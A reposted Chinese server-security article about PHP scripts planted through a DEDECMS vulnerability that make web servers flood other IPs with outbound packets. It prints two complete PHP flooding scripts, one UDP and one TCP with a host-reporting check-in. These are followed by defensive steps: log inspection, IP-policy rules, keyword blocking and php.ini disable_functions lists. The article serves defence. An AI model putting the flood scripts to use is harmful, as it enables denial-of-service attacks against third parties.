php对外发包引发服务器崩溃的终极办理办法分享[服务器安全]
本文“php对外发包引发服务器崩溃的终极办理办法分享[服务器安全]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
据星外科技原创ip战略,总结DEDECMS php对外发包引发服务器崩溃的终极办理办法,但愿可以帮忙客户办理服务器问题,让网站运行的更好
一、php对外发包解析
用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码以下:
以下是代码片段:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \'Flooded: $ip on port $rand
\';
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \'X\';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \'Packet complete at \'.time(\'h:i:s\').\' with
$packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
round($packets/$exec_time, 2) . \' packets/s \\n\';
?>
二、表现特点
一翻开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情形和遭到DDOS攻击是差别的,DDOS是服务器不断收到大量数据包.
近期由于DEDECMS呈现漏洞而招致大量服务器呈现这个问题.
若何快速找到这些站?
你可以翻开日记
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,翻开本日时间的文件,
里面有近似这样的记录:
2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
最后三项783 Disabled 30_FreeHost_1
783就是这个站在IIS中的ID
30_FreeHost_1就是所在池 www.2cto.com
三、办理办法
1.按上述找到这个网站后终止它.或终止池,并重启IIS.
2.在IP战略,或防火墙中,禁止全部udp向外发送
在星外最新版本的安全包中,已带有4.0版本的IP战略【下载safe包】,您导入后就直接可以限制了外发的UDP包。下载这个包,之后导入安全战略。但这个战略并没有关闭DNS端口,部份攻击还是有效.
为了办理这个问题,你也可以调整IP战略,限制udp只能拜候特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP战略中的udp open部份便可以办理.(翻开IP战略的属性,双击open,将open中的两条udp记录删除肆意一条,在保存的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)
在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP战略关闭全部UDP端口用.ipsec'文件,您可以导入它并启用,便可以关闭全部udp端口,便可以完好避免这类攻击,但是,这个战略由于关闭了DNS端口,会造成的这台服务器上无法用IE拜候任何域名,因此,用户的采集功效也就用不了.(一样,假如在主控网站上用了这个战略,就会造成的受控自检不通过,因为解析不了域名,别的,部份用户反映此战略会造成的mysql不正常)
3.用一流信息监控,在SQL拦阻及网址拦阻中,拦阻port=这个关键词(其他关键词可以删除.)
4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
ignore_user_abort = On
(注意前面的;号要删除)
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
在背面加上
fsockopen,set_time_limit
但这样会造成很多php程序都不正常.
别的,这也表明你的服务器安全做得不错,假如能入侵.黑客就直接提权了,还DOS做什么?
近期已有新的基于TCP攻击的PHPDDOS代码以下:
以下是代码片段:
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$packets = 64;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
exit;
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time or $exec_time != 69){
break;
}
$fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
}
?>
一样,可以采有以下办理办法:
1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
ignore_user_abort = On
(注意前面的;号要删除)
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
在背面加上
fsockopen,set_time_limit
但这样会造成很多php程序都不正常. 假如您是IDC,给客户供应空间的,禁用函数大概招致客户程序无法运行,所以普通不要用此办法
2.在IP战略中禁止全部外访的TCP数据包,但这样会造成的采集功效无效,也不能用在主控服务器上。
3.在服务器要用关键词tcp:或udp:搜索全部php类文件,找到攻击文件,删除它。
以上是“php对外发包引发服务器崩溃的终极办理办法分享[服务器安全]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |